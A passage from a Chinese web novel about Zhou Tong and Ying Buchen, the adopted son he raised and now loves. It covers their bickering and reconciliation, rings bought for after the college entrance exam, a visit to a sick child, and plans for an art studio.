“你这有意思了应不尘,你做饭难吃那是事实,我也没说啥啊,你弄啥我吃啥,我就是跟你讲笑话,你咋上纲上线的,还叫我反思我自己?我养你容易啊?你这个逆子,我没把你饿死吧?”周瞳推了他一下。
“我没饿死我就是汪奶没给我饿死,没汪奶你迟早地给我饿死,我就单跟你说做饭难吃这个事情,是谁在上纲上线啊,你说话咋就这么急,三句话喊不来狗就得自己吃屎。”应不尘也推他。
“你行,你做饭死难吃的,你不认你还要学,还要冒尖,你吃屎都吃尖,行了不?”周瞳一脸被说烦了的,说,“我是急,那咋了,你稳妥,你稳妥你大鼻涕过嘴才知道擦,行不?”
“诶我说你,那会儿你有那功夫收拾你头上那雷劈的发缝,你都没功夫出去买挂面,你就让我在家对着你做的屎哭!”应不尘冲他喊。
“我就乐意,咋的吧,你一哭,我都能从你嘴里看见胃,我看见了就想拿个土豆子给你塞进去。”周瞳一屁股在沙发上坐下,一摊手说,“来啊,我教的是吧,来呗,应不尘,我看看你今天能说啥出来,咱两是不是从没吵过架?我都不知道你对我有这么不满意呢?来吧,唠呗。”
周瞳在茶几下面翻。
“你拿啥呢?”应不尘问。
“止痛药,我先让你吃,我怕一会儿揍你你抗不住。”周瞳说。
“我吃啥止痛药啊,显得你了,你让我说是吧,你是不是觉得自己个儿养的挺好,天天天天的出去喝酒唱歌打麻将,回来看见我,你说咋二筒站起来了,我还没跟你说呢!喝酒喝傻了吧你!”应不尘说。
“那你小时候,你那脸方的跟电视机似的,怪我了?”周瞳舔着牙,“我头一回见你的时候,你那吓人劲儿林正英都要把铃摇烂了,就我,我把你捡回来,狗娘养的,现在跟我哼哼哈哈的,你要治理谁,你要治理你的养父啊应不尘?”
“我当然是狗娘养的,那你可好了,我小时候,我作业写不完,你说你给我写,书上写偏我来时不逢春,是啥意思,你写说吃屎都赶不上热的,我站教室后面站了一个礼拜,你可好了是不?”应不尘说,“咋他妈有你这么损的爹啊?”
“我还多余给你写了呗,是谁,写不完作业嗷嗷哭,没完没了的,我喝完酒我还得给你写作业,最后还成了我的毛病了是吗?你这个没良心的狗崽子,你这嘴就是闭不上了是吧?”周瞳拽着他,“叭叭叭的,红烧肉你别吃了。”
“我吃啥红烧肉啊,我就饿着不就完了吗?我不就还有俩月高考吗?那有啥呀?”应不尘说。
“你高考了不起啊你给我考啊?威胁我呢?”周瞳说,“爱吃不吃。”
“我肯定爱吃不吃啊,不像跟人家吃去吃饭,吃那三克油炒菜,一个劲儿哄着让人家吃,一顿饭吃仨点儿,我哪有那待遇啊。”应不尘说,“来你说说,那天我吃了啥,你能说出来我现在我就给你下跪认错。”
“我用你认错啊?”周瞳说,“我跟你说,那饭店的鸡蛋都是烫锅里就捞起来了,里面都没熟,我一看他们就没弄过孩子,我还跟他们说,那鸡蛋得弄熟了给孩子吃,完了我给你点个香蕉船,好家伙就俩香蕉淋了点酱,放了点雪糕,捣鼓捣鼓,给我心疼的我心思我也能弄啊这个,最后你还吃了个破轮子面条,你就吃两口,我问你咋不吃,你说塞牙,最后我吃的,我咋不知道?你的东西都我点的,我咋不知道?”
...
“我错了。”应不尘黏上来。
“滚蛋。”周瞳也不推他。
“我错了嘛。”应不尘踩他脚上。
“给我脚踩成饼呗。”周瞳说。
“我跟你最好。”应不尘又来黏。
“好啥呀,”周瞳抱着他晃,“不是骂我的时候了呗。”
“啥呀,那是沟通。”应不尘说。
“你家沟通扯嗓子沟通,俩扁桃体沟通啊?”周瞳问。
“怎么不行?”应不尘挨在他胸上,说,“长嘴了不就是来沟通来的。”
“我说你咋又变脸呢,你学变脸呗。”周瞳说。
“你教的。”应不尘蹭在他胸口,“我随爹。”
“一有啥不好的,你就随爹了,有啥好的,你就自己长的呗。”周瞳说。
“不,行,吗?”应不尘晃着晃着,说,“你红烧肉糊了呢好像。”
“完蛋,我跟你说你就没个好。”周瞳匆匆跑过去弄自己的红烧肉,“妈的,我跟你说,小眼镜跟我说他家的红烧肉好吃,我屁颠屁颠的我去等人杀的猪,那猪肉在我手上还嚎呢,我就拎过去叫那饭店给我弄,回来噼里啪啦给我一顿骂。”
“我爱你。”应不尘抱着他的腰,贴在他身上。
“这会儿你就又爱了,我跟你说应不尘你的爱你路上买菜似的,”周瞳插着兜懒得理他,“你又爱了你。”
“我就是爱你。”应不尘环着他,偏过头去看,红烧肉下面糊了,他正一块儿一块儿地给摘出来。
“光脚呢,”周瞳瞥了一眼,说,“去给鞋穿上。”
“我可不穿。”应不尘说。
“冷呀心肝儿。”周瞳转过来把人抱起来,放沙发上蹲在他脚边把袜子给他穿上,叹了口气,摩挲着他的脚,抬头说,“那会儿没钱,给你买鞋子总买大,想让你多穿几年,但是那么穿就容易摔,那就买正常的,但是你长得太快了,夏天的脚后跟就踩地上,总踩脏,我给你擦过很多次的脚后跟,怎么你就只能记得我拿你眼泪擦的那一次呢?”
“我错了。”应不尘圈住了周瞳,“呜...”
“又整那死动静,”周瞳说,“赶紧起来,把饭吃了。”
“我要你抱着我吃。”应不尘说着话,又挂身上了。
“刚刚不是挺牛逼的吗,”周瞳说,“现在又要抱了,要是给你弄个气象台,仨人倒班都赶不上汇报你这脸色。”
应不尘在周瞳脸上亲了一口,“说啥呢,你说话总损人。”
“我有你损。”周瞳说,“你说话不损,行吗?”
周瞳洗了把剪刀把红烧肉都剪开,“啊。”周瞳抱着哄着吃饭,“让你吃口饭这么费劲,我有这力气我长城都贴完瓷砖了。”
“啊,再吃一口。”周瞳说,“这嘴跟漏勺似的,还往外漏,留着明天吃啊?你坐这儿我给你拿纸去。”
“不让去。”应不尘就圈着。
亲密地吻掉遗漏的饭粒,再接着就是勺子掉在地上的清脆的声音。
沙发上的人交错着脖颈,神情柔软却臂膀有力,深夜总会让恋人们都化成水,水会渴望流动,渴望去往别人温热的掌心。闭眼若是最小的黑夜,那接吻的时候就是共享小小黑夜,睁开眼睛就是一见钟情。
或许三回,或许五回,谁都不清白。
*
“休息时间就剩下个周日了。”周瞳搓着方向盘说,“你还要补课,连睡个懒觉的功夫都没有。这是人过得日子吗?”
“快了吧。不到俩月了,不就七八个礼拜吗,”应不尘叼着个饼干,咯吱咯吱的,“等我考完的,我在家好好睡个大觉。”
“暑假反正有功夫,”周瞳说,“我送完你过去,然后我去趟省城啊,晚上回来,接你去。”
“嗯。”应不尘用膝盖紧着书,“你忙你的,不用管我。”
“生意都好,刨开要给风筝送过去的,能留点儿,我给你留着读书,回头你那个想学啥什么的,要去哪里读,别操心钱的事儿。”周瞳也没睡醒,但是一新桥那边娘娘腔还真是个材料,跟边上那些老板娘打得火热,连小眼镜进回来的垃圾他都能卖出去,还要飙高价,真是服了。
“嗯,我知道。”应不尘转过来,说,“我其实有点儿想你别那么累,学点马上就能挣钱的。”
“你别总急这个。别的我说不上,我真不等你挣钱养我成吗?每天忙是忙,但是我凑一块儿那帮人都挺好的,我每天就跟他们闹着玩似的把钱挣了,有啥能比这快活。”周瞳说,“听话,一帮老爷们呢。”
周瞳摸摸他的头,说,“我其实特别不希望你这样。”
应不尘眨了眨眼睛,问,“为啥呀?”
“你十九岁,十九岁有十九岁该做的事情,挣钱养家吃苦受累或者其他,是没有办法的情况下不能不这样,但是你大好青春,为啥我家的孩子就不能跟别人家的孩子一样,去玩去疯,去浪费去磋磨,去爬山等个日出,去喝酒之后睡不醒,所以啊,我还是希望你阳光一点。”
“那些没意义。”应不尘皱眉说,“我不太需要。”
“非得有意义才行吗?”周瞳说,“你以后有挣不完的钱,也比如咱两有吵不完的架,意义本来就没意义,当然了,也是揣了几个逼子有点稳定的场
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子,才敢跟你说这个话。”
“我希望你过对你没有意义,但是对我来说有意义的事儿。”周瞳点了根烟,说,“我小时候春游不开心,我就不想你跟我一样。我小时候没葬上我奶,我就不希望你有遗憾,我像你一样大的时候,我蹲在那个沙龙店边上,兜里空空,你还小呢,有跟我差不多年纪的人来洗头发,他们聊一些我听不懂的话,说的很多我不知道的地方,谈什么东西好吃,什么东西不好吃,他们回头问我多大了,我说了年纪,他们看着我的眼神,让我觉得我是个受害者。”周瞳自嘲地笑了一下,说,“我想了好久那个眼神,我可不想你也有这样的时候。”
“所以,去吧。”周瞳摸摸他的头,下来给他开车门,“到了。”
应不尘又是一样的一路三回头。
周瞳看着他进去,忽然想起他第一次送应不尘去上学的时候。那会儿上学都要穿新衣服,那小男孩儿小女孩儿的额头上都点一个红点,周瞳小时候没被点过,都是别人家蒸那种红喜馒头的时候,用筷子顺手就在孩子的额头点,说是点了就能开了智慧了。
应不尘哪怕再懂事,他也想点,他摸摸自己的额头,也看看周瞳。
怎么也不肯去学校,这大清早的哪有点这玩意儿的,路上除了学生跟卖早饭的都没啥人,做喜馒头的人家都得接了单子再开门。
周瞳跟他说,明天肯定给他点上,今天先去好好上学。
他也是去了,但是周瞳说完这事儿自己都忙得不行,到傍晚接孩子了,想起来答应了他给他点个红点,又带着孩子去找哪有点这东西的,最后找到一个照相馆可以点,但是点了得拍照,周瞳兜里又没钱。
把应不尘放在外面进去问,不拍照的话,能帮忙点一下吗?
老板娘从抽屉里拿出印尼,说,“我拿筷子给你点一下呗,这都小孩儿。”
周瞳抱着应不尘去点,那会儿应不尘特别开心说,“我还以为你忘了呢。”
老板娘点多了,周瞳用手指压了一下,他的额头上就多了一个红色的指纹,他也不肯洗,就这样好几天。
第二天,他就这样一路三回头蹦蹦跳跳去上学,怎么就一眨眼,他就长这么大了。
烟迷了眼睛,周瞳低头擦眼睛,有男人拍了拍他的肩膀,同样望着学校的方向,说,“唉,我们这些做家长的,心情都一样,孩子一晃,就长大了。”
“真是。”周瞳拍拍他的肩膀,说,“孩子大了。你家男孩儿女孩儿啊?”
“女孩儿。”这位父亲说,“她小时候,坐我肩膀上,天天叽叽喳喳的叫爸爸,现在就,爸,差一个字,差多少啊!”
“是。”周瞳点点头,低头给应不尘发短信:「我想你的小时候。」
应不尘给他回,「当爹的瘾又起来了?」
周瞳笑回:「要不你了解我呢。」
应不尘回:「你给我写的情书,写了什么?」
周瞳回:「你回头自己看呗,高考之后看。」
周瞳上了车,往省城呼啸而去,娘娘腔给小嘉也买了点东西,让捎过来,佟老师让带了一些小孩儿看的连环画,上面的公主战胜了魔王。
“来了瞳哥。”小嘉这两天看着脸色不错,迎着周瞳,说,“你别每回来你都带东西,都堆得床底下都是了。”
“我给你租的那个地方咋人家给我打电话你退了?”周瞳问。
“用不上,别浪费你钱,这儿就挺好的,我回去也就做个饭洗个澡,我找了地方做饭,就弄子里,给点加工费,便宜,住我就住这里,洗澡这边有浴室,不要紧。”小嘉帮佟老师的画册给风筝拿过来。
“风筝,啥意思啊,我来了怎么不请安?”周瞳问,“这么快就忘了?”
风筝扯了块手帕,一甩,“见过瞳叔。”
“这才像话嘛,来,都给你的,你的小尘叔叔跟小眼镜给你买的。”周瞳一股脑的往外掏。
“这个,这些衣服啥的,娘娘腔给选的。”周瞳说,“你这弄得,也别太苦情,一帮老爷们呢,有事儿说,这不是好起来了,心情好点儿。”
周瞳拍拍小嘉的肩膀,递给她一个信封。
“我过来进货,呆不了多久就得回去,小尘得高考,家里得人照顾。”周瞳说,“不然咋滴也得给你换换。”
“不用换,换地方我也睡不着。”小嘉搂着风筝的肩膀,说,“都是你们在操心。”
“有功夫,给你娘娘腔叔打电话,行不行?”周瞳蹲在病床前面逗小孩儿,风筝的头发都掉了不少,唇色苍白,眼下有一片乌青,还有生病小孩儿常见的大头。
周瞳也不敢碰她,拍拍小嘉的肩膀。
一到商贸城,一帮人精就开始了,都得想着法儿地把卖不出去压箱底的东西装成俏货来卖,这是的时俏难以捉摸,比如新上的电视剧里的什么手链子,笔杆子,都会忽然走俏,抢都抢不到。
等按着单子上的补货完,拉着一平板车的东西就往后备箱折腾。
他今天还有别的事儿。
75.我不会输
商贸城边上还有珠宝城。
上回应不尘来店里,周瞳就有心思了。
“那排的戒指,你给他都弄盒子里呗,我眼睛不好,看不清楚价格,你帮着理一下,按大小放。”周瞳说。
“我好像看见我们班的女生也带,什么七色花,什么四叶草,”应不尘说,“都是你这儿买的?”
“珊珊带着来买,”周瞳说,“那个珊珊太时髦,什么东西新的她就跟我说,我就送她,她特别愿意给我拉生意。”
“我们学校同学的钱男的女的都被你挣完。”应不尘靠在凳子上一个个放戒指,但是他也不戴。
“你给套上试试,要是喇手什么的,就挑出来。”周瞳说,“省的那帮小姑娘细皮嫩肉的,给刮擦了,还得弄。”
“我就不是细皮嫩肉的呀。”应不尘翻了个白眼,就一个个往上套。
周瞳悄悄藏了一个。
“就这么大小的,戒指,秀气一点儿的,”周瞳说,“然后另一个我这手能带的,别太花里胡哨,素点儿。”
售货员拿出了一排的戒指,“这个都是女款的,我想要同款的,俩都素的,贵点儿的那种。”
售货员又搬出来几盒子男生带的,周瞳选了一对素圈,他自己是喜欢花里胡哨的东西,现在穿衣服还是差不多,但是应不尘那个气质,他整不来这个。
“能有这个款式差不多,再贵一点儿的吗?”周瞳问。
周瞳揣着戒指盒,就往新春赶,他有点儿想赶紧给应不尘带上,他那个尾巴估计就得翘起来了,但是现在不是还得高考吗,不然他又要墨迹一晚上,怎么扯都扯不掉了,他那样子,戴上去容易,要他放下来,估计得给他手指头剁下来才成。
周瞳摩挲着蓝色的戒指盒,打开又盖上,盖上又打开,最后与那张试卷一起,藏在了他书桌的抽屉里,落了一把锁,钥匙就在应不尘那个宝贝存钱罐里。
“你也要画画?”佟老师问。
“我瞎画,我家尘儿喜欢这个存钱罐,从前叫烧了。”周瞳说。
“那瞳哥你拿来我去拿角磨机,我几分钟给你磨完。”小眼镜说。
“我自己磨就成。”周瞳说。
“那你400目开始磨啊,我给你那拿1200目的,你还得抛光,墨迹死了。”小眼镜说。
“我刚刚试了1200的,太细了,先用这个吧,你别忙了。”周瞳说。
佟老师在脚手架上画画,周瞳坐在椅子上磨他的存钱罐,里里外外的,把他烧歪的地方都一点点捅出来,然后按着之前说的颜色,佟老师画了个大概的雏形图纸。
“你要画得跟原来差不多吗?”佟老师问。
“差不多就行。”周瞳说,“我二十岁之前的东西都叫那混小子烧了,他的烧了,我的也烧了,就剩下个存钱罐,那会儿人家跟我说火烧不烂,还真没扒瞎。”
“那...烧...烧得厉害吗?”佟老师吓了一跳。
“咋不厉害,多少年前了,他烧了半个厂子,烧了我一个兄弟。”周瞳说,“我们现在治的那个小姑娘,就是他姑娘。”
周瞳狠劲儿的在盒子上磨磨磨。
“你咋不说还把你的眼睛也烧进去了。”小眼镜闷着声说。
“那我的不就是他的么。”周瞳说。
“那...那你们,那...你们咋办啊?”佟老师问。
小眼镜把脚手架都拧好,把颜料筒子都拎上去,说,“他还债呗,还了多少年多少钱,他之前老风光了,我这种货色都能管人。”
“那...那你没,没恨他吗?”佟老师蹲到周瞳的脚边,说,“亲孩子都要恨死了吧。”
周瞳说,“他又不是故意的。”
“不是故意犯错,就可以不恨吗?”佟老师问。
“谁不犯错啊,是个人就要犯错,”周瞳说,“而且因为这个事儿他自己也吃了不少苦,那就行了呗,错总是有的,划责任也是我主责,他那么不大点懂啥呀。”
“那你就都担着了?”佟老师问。
“那他称斤卖也就三十来斤,干巴瘦的,你给他吃了也顶不了多久呀。”周瞳说。
“还能这么算账吗?”佟老师问。
“那咋算,”周瞳还在磨,砂纸扬起的粗灰进了眼睛,说,“这破玩意儿还搞偷袭呢。”
*
“你眼睛咋这么红呢?我看看?”应不尘一上车就趴过来,“咋了这是,你眼药水呢?”
“用完了还没买,没事儿,明天买吧,让灰迷眼睛了。”周瞳说,“我拿矿泉水冲冲就行。”
“你等会儿吧,我去给你买去,”应不尘推门就下车。
“你这九点十点的你上哪儿买去。”周瞳还要去叫,应不尘已经跑了。
周瞳瞧着最近也没看见那个李泥鳅,就开车跟着应不尘。
“我给你点上。”应不尘过来。
“好的这个你点,坏的这个我自己点。”周瞳说。
“难受坏了吧?”应不尘跪在副驾驶,“迷成这样呢。”
“点了一会儿就好了。”周瞳说,“我自己来吧。”
“你那个眼睛你好像特别不喜欢我看,我注意你好几次了。”应不尘说。
“这个不好看。”周瞳说。
“我咋没觉得。”应不尘说,“你现在这个眼睛还就淡淡的影子吗?”
“刚坏那一段重影,后来习惯一点了就没事了,”周瞳说,“有啥办法?天妒英才呗。”
“那几年我拿你的单子到处都去问了,我想攒钱给你做手术来着,结果问来问去都没什么办法。”应不尘说。
“坏坏呗,不耽误。”周瞳说,“今天累不累?”
“还成吧,我们老师跟打仗似的,黑板上写那个倒计时,不紧张都被他们弄紧张了。”应不尘说,“我们班同学都跟被吸了阳气一样。”
“读个书都读阴间去了。”周瞳搓着方向盘说。“你别给自己那么大压力,真的。”
“你都在这了,我有啥压力呀我,咱都一切都好呢。”应不尘说。
“一新桥那边的饭店都开始订那啥谢师宴的了,你要不?给你订几桌?”周瞳说,“我们云渔那会儿考上大学都办酒席。”
“我可不要,”应不尘说,“那都是为了收份子钱,考稀巴烂都办。”
“佟老师不知道咋回事,最近见我热情的很,之前我感觉他都躲着我走。”应不尘说。
“那你有魅力呗。”周瞳说。
“你就扯吧。”应不尘说。
“我扯啥了,我啥品味你不知道哦?你没点魅力还想得到我?”周瞳说。
“我那是死缠烂打来的,你不是说我一哭二闹三上吊吗?”应不尘说,“人家想跟你一块儿给你唱个歌,就迷的不行了,我差不点去死了在你眼里我都跟闹着玩似的。”
“你这个人,咋说说话又阴阳怪气起来了。”周瞳说,“惯是会翻旧账。”
“我们学校的小情侣偷摸带情侣戒指,你店里买的!”应不尘说。
“那买买呗,咋弄,有钱不挣啊?”周瞳踩着油门往前开。
“我不跟你说了。”应不尘说。
“急啥了,你喜欢你去店里拿呗,你带十个,你比他们厉害。”周瞳说。
“诶我说你是不是听不懂话?”应不尘问。
“你不是要戴店里戒指吗?你戴去呗,店里的那都不带重样的,你脚指头都能戴满。”周瞳说。
“我懒得跟你说话。”应不尘说。
“真是要高考了气性大,说两句还不跟我说了,要是我亲儿子我就踹你。”周瞳说。
“你踹呗,你踹。”应不尘说,“我管你叫爹,你踹吧,赶紧。”
“等考完再踹,踹歪了考不了考试又要找我事儿,我就一口大锅背上,那娘娘腔跟小眼镜佟老师,天天跟我说要这段时间说话悠着点,说考不好跳楼的都有,就是压力太大了,你看看你,多少人给你操心。”
“让他们别担心我,我没啥事儿。”应不尘看着窗户外面,从前住学校的时候,搬宿舍是他最不乐意的事儿,别人都是家长前呼后拥的,什么都给准备齐了,但是他只有自己,就冬夏就一床被子,现在光景不一样了,他恍惚间好像又回到了面粉厂,回到了运输公司,所有人都爱他。
“就剩下一个半月,我就解放了,我真是,哎呀。”周瞳说,“你学校那个倒计时你家里也整一个,我也看着,行不?”
“那个我在学校看够了。”应不尘说。
“你那个小同桌成绩咋样?能跟你上一个学校不?”周瞳问,“你也好有个伴。”
“不咋样,他天天就是听八卦,谁跟谁谈恋爱,谁跟谁传纸条。”应不尘说。
“对人家好点儿,叫他要送小姑娘东西上店里挑去,人家对你挺好的。”周瞳说。
“知道。”应不尘说,“我们班同学的钱,除了花食堂,全去你兜里了。”
“吃烧烤不?”周瞳拐过来,看见个烧烤摊。
“吃完了得走回去不过,”周瞳说,“天天的一放学就回家读书,人都傻了。”
香樟树下有烧烤摊,周瞳给应不尘丢了根烟,俩人坐在小凳子上,周瞳选了一些让烤了。
“你不是不乐意我抽烟吗?”应不尘问。
“我不乐意你也没少抽。”周瞳说,“窗户外面那烟灰缸我都看见了。”
“你还会打扫卫生呢?”应不尘问。
“我都不知道你啥时候抽的,”周瞳说,“想抽抽呗,少抽点不就成了。”
周瞳扯了张纸擦桌子,说,“我今天去洗头,你猜人家跟我说啥。”
“啥呀?”应不尘茫然地看着对面的老板娘翻来翻去的烤烧烤。
“他说你之前你叫他剪头发,后来他剪的好了你就不去了,说你好像特别喜欢丑头型,一给你剪丑了你就经常去。”周瞳说,“我咋不知道你还有这爱好?”
“那个人从前染了个黄头发,远远看,有点像你。”应不尘说,“后来他染黑头发了,一点儿也不像了,我就不去了。”
“完了。”周瞳说。
“啥完了。”应不尘问。
“我问他是不是涨价了,他说涨了三块钱,我说原因就在这儿,你死抠的,涨三块肯定不去了。”周瞳说,“他还跟我说叫你下回去剪头发,不涨你价。”
“这么深情的事儿咋被我说这样呢。”周瞳说,“呀,这弄得。”
“你行了你,”应不尘说,“你缺心眼是一天两天的事儿吗?”
“我咋又缺心眼了,我又不知道,再说了,那小子哪有我长得好看啊。”周瞳拿着上来的烧烤,说,“吃这个,鸡心,你吃,长心眼。”
“喝点儿啤的,天要热了,”周瞳给他倒上一点儿,说,“一会儿回去好好睡一觉,明天不是周末吗,补习晚一会儿去,给人都熬坏了。”
“不对,”应不尘说,“你可能买戒指了。”
周瞳倒酒的手都抖了。
“我买啥呀?”周瞳说。
“这句绝对买了。”应不尘说。
“我刚刚就在想这个事,我跟你说,人家带戒指了,你店里买的,你就会摸摸我的头,丝滑岔开话题,跟我讲什么利润,进价卖价,但是你接话头了,你明知道
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我啥意思还在那儿逗我,你这个人精能听不出来?”应不尘一伸手,说,“交出来。”
周瞳眉头一皱,说,“我跟你面前光着身子吗?”
“刚刚我试探你,你要是没买,你会那种有点儿怕我失望,想办法今晚上就买上的那劲儿,再把事儿岔过去,但是你又接。”应不尘伸手,“交出来。”
“应不尘,你咋不去当蛔虫呢?”周瞳说,“我真服了,我这辈子也没少说谎,咋遇着你我是一个谎都撒不明白啊?”
“交出来。”
“等你高考完的,我给你戴上,行吗?”周瞳往他面前推着串儿,说,“不然你戴上你考试啥的摘一回得闹一回。”
“我是那种人吗?”应不尘吃着串儿,从包里掏了一瓶醋出来。
“你书包里装醋干啥啊?”周瞳问,“叮叮当当的。”
“现在街上都是陈醋,你爱吃香醋,我看见我们学校小卖部他们自己吃这个,我就买了。”应不尘说。
“我还以为你揣着醋,没事儿就喝两口呢。”周瞳说,“吓我一跳,我还以为你压力已经大到这样了。”
“我跟你似的缺心眼。”应不尘说。
“你能跟赵子龙两人可不能生病,不然能药店搬空,他浑身是胆,你浑身是心眼,”周瞳拍了一下手,一摊,说,“你俩能比比。”
“你看我理你吗?”应不尘给倒上一小碟醋,说,“蘸着吃。”
周瞳喝了点啤酒,二人坐在香樟树下抽了两根烟,周瞳指着那香樟树说,“这地方能安个秋千,那会儿,面粉厂那个车棚里,有一回我拖了个梯子,给你安了个秋千,你记得吗?”
“记得,轮胎做的,安上没两天,有小孩儿自己偷偷去玩,摔下来了,就拆了。”应不尘说,“我都没坐几回。”
“拆掉的时候你又老不愿意了,我说在家里给你安一个,你才让拆,从小就这样,非得照你来。”周瞳说。
“一甩就能踢到锅,”应不尘说,“那房的架子都咯吱咯吱响,你怕我摔下来,又给拆了。”应不尘说,“但是你就剪了轮胎,那绳子还在,后来扯过去挂衣服了。”
“你跟个傻子似的,我们住的那个地方都是面粉,你衣服上都是面粉,你又不高兴,给那绳子拽了。”应不尘说。
“记得那么清楚?”周瞳问。
“我记得多了。”应不尘说,“就是啥都没留下。”
“你不是还在吗?”周瞳把钱放桌子上,扣了个杯子,就要揽着应不尘走。
周瞳牵着他的手走在前面,路灯黄澄澄的,烧烤摊有人喝多了在唱歌,他见了井盖跳过去了,笑嘻嘻的,应不尘看见他的影子盖在自己的身上,他微微侧头,棕色的皮夹克在他身上慵懒又随意,他脖子上坠着链子,那边的肩上背着应不尘的书包,光剩下一个剪影,他叼着牙签,又是那个不值钱的表情,皱眉说,“鬼迷日眼的,我都给你迷这样了?”
“赶紧走吧。”应不尘往前走。
“你看你看,”周瞳被他拉着,“干啥呀,害臊呢还。”
“瞳哥,”应不尘回头看他,说,“要等多少年,我才能让你迷恋崇拜啊?”
周瞳说,“为啥想要这个啊?”
应不尘说,“我小时候崇拜你,我觉得你可厉害。”
“傻,”周瞳说,“等你溜达一圈回来会发现我就是一普通人,是因为你现在喜欢我,你就给我加了很多跟我没关系的东西,等时间长了,有可能失望跟嫌弃就上来了。”
周瞳说,“但是有啥要紧的呢?如果你有天对我失望嫌弃,那就是你已经跟我不在一个面上了,你肯定是更好了,我也没啥输的。”
“这事儿,左翻右看我都不输,我在乎它干啥?”周瞳说。
“那我要怎么样你会迷我迷得不行啊?”应不尘问。
周瞳说,“过几年吧,你带那个金丝眼镜儿,穿个白大褂啥的,巴巴一堆我听不懂的东西,估计就成了。你要是能再救回来俩人,那可不得了,积攒功德的事儿那是,人家给你送锦旗是吧,我就看着你,我估计我要得意死了,晚上把锦旗当被子盖。”
“知道了。”应不尘说,“会的。”
“你今天说话奇怪。”周瞳说,“就刚刚那个嫌弃这那的,咋没跳脚啊?”
“我说那些干啥,走着瞧不就完了吗?”应不尘说。
“行,我跟你走着瞧,”周瞳揽着他的肩膀,说,“破小孩儿,咋一眨眼就长大了。”
“以后咱两也会这么说风筝吗?”应不尘问。
“废话呢,那你长她不长啊。”周瞳说。
“你回去给我带戒指呗。”应不尘说。
“带啥呀,等你高考完的。”周瞳说。
“那谁知道你买的大小啊?”应不尘说。
“我买的能有错?”周瞳说。
“咋没,你小时候给我买内裤,要么买小了勒,要么就跟老头子的那种一样哐当哐当的,你咋好意思说的。”应不尘说。
“我都多余给你买。”
“你欠我的。”
“要不要脸了还。”
“我要是要脸,我能跟你好上?我那脸早被你打歪了。”
“你还别说,那会儿我乍一眼看,我还真以为你那脸被我打坏了。”
“那你还打。”
“我养的,我就能打。”
“你给我戴戴戒指呗。”
“不给。”
“我试试。”
“不给。”
“那我要作了。”
“咋不给你作死。”
二人走远了,路灯也灭了。
76.他找谁去
“今儿周末,你多睡一会儿。”
“嗯...”
周瞳啵唧亲他的额头上,抱着冷嗖嗖的胳膊往外走,昨儿的车还停在烧烤摊。
开上了车有点儿阳光,晃眼睛,周瞳扣了个墨镜。
周末的一新桥早早地就热闹起来了,昨儿娘娘腔又喝得烂醉,说是小眼镜给拖回来的。排骨倒是话不多,跟小厉两个还换换班。
佟老师的东西今天到了,他一周也没多少课,随叫随到,周瞳给他租了个茶叶街中间的小店面,给他挂了个招牌,做墙绘的,现在有的饭店也讲究了,贴大幅的迎客松还贵,找人画了可便宜多了。
周瞳弄了张办公桌回来,给佟老师做了名片,还有个老板椅,后面支了个床,简单做口饭吃跟睡觉还是能达到的。
外面弄了个沙发,还找人做了宣传画室跟墙绘的海报。
周瞳给还弄了个茶台。
“我上你这儿坐坐挺好。”周瞳歪在沙发上喝茶。
佟老师很不习惯坐老板椅,“佟老师,你就坐那儿呗。”
佟老师过来的时候反反复复看了好几次,墙上的营业执照跟挂的合影中间都是他。
“弄得像我的办公室似的。”佟老师左看看又看看。
“不就是你的吗?”周瞳喝了一口茶,说,“普洱一般。”
“我觉得...”佟老师说,“您对我有点太客气了,我就是一个没什么本事的美术老师,你还给我弄,弄这种场面。”
“应该的。”周瞳翘着二郎腿说。
“哪有...啥应该的啊。”佟老师有点不好意思地说,“我怕担不起你这个场面。”
“你能。”周瞳说。
“要不,要不你找别人弄,我跟他后面行吗?”佟老师还是不习惯坐这椅子。
“没别人,就你。”周瞳说。
佟老师搓着手,“我,我,我想了一圈,就小尘找我开始,你就一直在帮我找活儿干,我有点,”佟老师搓搓后脖颈,说,“说不上来。”
“你不用管。”周瞳整个人蜷在沙发上,翘着个皮鞋。
“我...我不会。”佟老师说,“你还是找别人,让我弄砸了可怎么办?”
“那我直说?”周瞳说。
佟老师一下子站起来了,双手撰着拳。
“你坐呀。”周瞳说。
“我很久很久之前见过您母亲。”周瞳喝了一口茶,闭着眼睛说,“十多年前。”
“啊?”佟老师说,“十多年前?”
“嗯。”周瞳说,“我刚出来,在宜华车站,遇见了你母亲,她在找一个女孩儿,是不是。”
“啊?”佟老师的手都开始抖了。
“我那会儿捡到了应不尘,养不起,想把他丢在车站,你母亲给我塞了钱。”周瞳说,“我第一次见你,就认出来了。”
“我母亲...是。”佟老师说。
“我觉得我运气好,想报恩的人能找到。”周瞳歪在沙发上,“佟老师,有缘分呀。”
佟老师推了推眼镜,说,“就是,就是我不太争气。”
“你母亲找到了吗?那个女孩儿。”周瞳问。
佟老师叹了口气,搓搓手说,“找到了。”
“嫌家里穷,认亲了要养长辈,她自己也有长辈。”佟老师说,“也怪我不争气,我要是有钱有本事,可能我妈就认到她了。”
这事儿没法说。
在那个年代,有大量的拐卖,收养,过继,孩子像个物件一样被摆弄来摆弄去,全凭着运气在这世界上讨一口饭吃,要是运气好,如应不尘遇到周瞳这样的,那是上辈子用上上签当筷子吃饭了。
但是如果有普通的小家,家里有长辈老人,再凭空出现一个生母,且家庭状况不好的情况下,认亲不但帮不上自己任何,也没有什么感情,接过来就可以养老了。生病,照顾,三餐四顿,终日行孝。
各人有各人的选择,外人不足以道万一。
“不说这个,”佟老师说,“你认人这么厉害吗?第一次见就能看出来?”
“你跟你母亲的眼睛长得像。”周瞳笑了一下,说,“我本来不想跟你说这事儿,但是我总觉得你看我的眼神,太小心了。”
“没必要,我跟你说了,你就可以宽心了。”周瞳说,“而且,不就是你忙活,我赚钱么,里外里我还赚了呢。”
佟老师终于坐上了那条烫屁股的椅子,说,“我肯定好好干。”
“这不就完了吗,不然咱俩这关系,你刚刚一直推脱让我找别人,我找啥别人呢?”周瞳笑。
“然后我跟你说说我想的事情。”周瞳沉了口气,说,“新春这个地方的美术生意我还是想吃了的,我粗粗的看了一眼,就这个小学时候的毛笔字中国画的一些证书对上学也有帮助,初中就上素描课程,色彩这些东西,高中的水平又不一样了,联考之类的就得上了,那就是小初高这阶段的画室,咱要做就做这儿的第一。前几年先出成绩,人可以少一点,门槛高一点,去年冬天我就是试探了下新春对美术的态度,我觉得接受度不错。
所以今年夏天不可能要那么多人,要先苦几年,出了成绩了,就开始往专业方向考虑,我希望的,是按照他们的既定目标来收费,收一笔学费,考上了,收一笔大钱,哪怕有了别的画室也比别人贵,考不上的,全额退款,能来的都是指着考过了来算,把门槛提高,招人方面您给专业意见,我们大方向就是这么走。”
